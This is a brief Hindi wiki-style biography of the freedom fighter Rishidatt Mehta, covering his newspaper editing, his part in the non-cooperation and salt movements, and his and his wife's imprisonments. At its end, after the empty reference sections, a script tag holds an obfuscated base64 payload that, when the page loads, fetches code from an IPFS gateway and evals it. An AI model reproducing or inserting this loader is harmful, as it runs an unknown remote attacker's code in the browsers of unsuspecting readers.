ऋषिदत्त मेहता

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
  • ऋषिदत्त मेहता एक स्वतंत्रता संग्रामी थे।
  • ऋषिदत्त मेहता ने 'तरुण राजस्थान' नामक पत्र का सम्पादन भी किया।
  • ऋषिदत्त मेहता तरुणावस्था में ही गांधीजी के सम्पर्क में आ गये थे।
  • ऋषिदत्त मेहता ने विद्यार्थी जीवन में ही अपनी पढ़ाई छोड़कर असहयोग आन्दोलन में भाग लिया था।
  • नमक कानून सत्याग्रह में ऋषिदत्त मेहता गिरफ्तार कर जेल भेज दिया गया।
  • सन 1932 में ऋषिदत्त मेहता पुन:गिरफ्तार कर लिया गया और दो वर्ष की कैद एवं जुर्माने की सज़ा दी गई।
  • कुछ समय बाद ऋषिदत्त मेहता की पत्नी को भी गिरफ्तार कर लिया गया और उन्हें 6 माह के कठोर कारावास की सज़ा हुई।



पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>